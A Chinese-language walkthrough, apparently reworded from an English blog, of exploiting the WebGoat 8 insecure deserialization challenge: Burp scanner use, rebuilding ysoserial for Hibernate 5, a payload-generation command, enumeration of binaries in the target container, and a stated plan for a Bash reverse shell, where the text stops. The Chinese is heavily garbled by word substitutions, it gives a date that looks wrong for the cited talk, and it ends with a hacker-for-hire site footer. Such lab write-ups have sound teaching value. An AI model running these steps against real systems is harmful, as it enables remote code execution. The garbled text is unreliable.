在本文中,咱们将向你展现一个运用不安全的反序列化缝隙的进程,咱们将以WebGoat 8反序列化应战(布置在Docker上)为例。只需履行sleep5秒即可处理应战。可是,咱们将会进一步寻求趣味并测验get shell。
介绍
Java的反序列化问题在安全范畴现已被安全人员所熟知很多年了。2019年,两名安全研讨人员Chris Frohoff和Gabriel Lawrence在AppSecCali上宣布了名为Marshalling Pickles 的讲演。此外,他们还发布了一个名为ysoserial的有效载荷生成器的东西。
方针序列化首要是为了开发人员可以将内存中的方针转换为二进制和文本数据格局进行存储或传输。可是,从不受信赖的数据反序列化方针可能会导致攻击者完成长途代码履行。
缝隙发现
正如WebGoat的应战中所说到的,易受攻击的页面会从用户输入中获取Base64格局的序列化Java方针,并盲意图进行反序列化。咱们将经过供给一个序列化方针来运用此缝隙,该方针触发面向特点的编程链(POP链)并在反序列化期间完成长途指令履行。
WebGoat 8中的不安全的反序列化应战
经过发动Burp并装置Java-Deserialization-Scanner插件。该插件有2个功用:第一个功用是缝隙扫描,另一个功用是根据ysoserial东西生成Exp。
Burp Suite的Java反序列化扫描程序插件
扫描长途端点后,Burp插件陈述成果如下:
Hibernate 5 (Sleep): Potentially VULNERABLE!!!
看起来很棒!
缝隙运用
让咱们转到下一步并点击Exploiting选项卡来完成恣意指令履行。
嗯?这似乎是ysoserial的一个Bug。让咱们深化研讨一下这个bug并转移到控制台,看看究竟是什么问题。
有效载荷生成过错
经过调查ysoserial,咱们看到有两种不同的可用于Hibernate的POP链。经过运用这些有效载荷,咱们发现它们都没有在方针体系上履行。
ysoserial中显现的可用的有效载荷
那么插件是怎么生成有效载荷并触发sleep指令的呢?
咱们决议在以下链接中检查插件的源代码:
· federicodotta / Java-Deserialization-Scanner
· 针对Burp Suite的一体化插件,用于检测和运用Java反序列化缝隙…
咱们注意到有效载荷在插件的源代码中是硬编码的,因而咱们需求找到一种方法来生成相同的有效载荷来使其可以触发缝隙运用。
有效载荷是硬编码的
在经过一些研讨和协助后,咱们发现咱们需求修正当时版别的ysoserial才能使咱们的有效载荷起作用。
咱们下载了ysoserial的源代码并决议运用Hibernate 5从头编译它。为了运用Hibernate 5成功构建ysoserial,咱们需求将javax.el包添加到pom.xml文件中。
咱们还向原始项目发送了一个Pull恳求,意图是在hibernate5挑选配置文件时修正构建的一个问题。
更新了pom.xml
咱们可以运用以下指令持续重建ysoserial :
mvn clean package -DskipTests -Dhibernate5
然后咱们就可以生成有效载荷了:
java -Dhibernate5 -jar target / ysoserial-0.0.6-SNAPSHOT-all.jar Hibernate1“touch / tmp / test”| base64 -w0
收效了的Hibernate 5的有效载荷
咱们可以经过下面的指令拜访Docker容器来验证咱们的指令是否履行了:
docker exec -it /bin/bash
咱们可以看到咱们的有效载荷在机器上的确履行成功了!
缝隙运用成功!
咱们持续罗列方针机器上的二进制文件。
webgoat@1d142ccc69ec:/$ which php
webgoat@1d142ccc69ec:/$ which python
webgoat@1d142ccc69ec:/$ which python3
webgoat@1d142ccc69ec:/$ which wget
webgoat@1d142ccc69ec:/$ which curl
webgoat@1d142ccc69ec:/$ which nc
webgoat@1d142ccc69ec:/$ which perl
/usr/bin/perl
webgoat@1d142ccc69ec:/$ which bash
/bin/bash
webgoat@1d142ccc69ec:/$
只要Perl和Bash可用。让咱们测验制造一个有效载荷,向咱们发送一个反向的shell。
咱们在Pentest Monkeys上看到一些单线的反向Shell:
· Reverse Shell Cheat Sheet
· 假如你很走运可以在浸透测验期间找到指令履行缝隙,那么很快就会…
并决议测验下面的Bash反向shell:
[1] [2] 黑客接单网